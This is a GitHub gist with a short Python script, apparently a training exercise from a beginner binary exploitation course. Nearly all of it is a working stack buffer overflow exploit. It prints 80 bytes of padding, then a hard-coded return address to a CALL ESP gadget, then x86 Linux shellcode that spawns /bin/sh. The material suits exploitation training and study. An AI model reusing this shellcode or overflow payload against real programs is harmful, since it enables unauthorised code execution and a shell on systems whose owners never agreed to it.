Skip to content

Instantly share code, notes, and snippets.

@scarvell
Last active October 20, 2016 04:04
Show Gist options
  • Save scarvell/5005ce1a037976a3043218c18459bb12 to your computer and use it in GitHub Desktop.
Save scarvell/5005ce1a037976a3043218c18459bb12 to your computer and use it in GitHub Desktop.
#
# Justin Steven's 101 binary exploit
#
import struct
def p(s):
return struct.pack('<I', s)
shellcode = "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
garbage = "A" * 80
ret = p(0x80c8fb0) # CALL ESP
print garbage + ret + shellcode
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment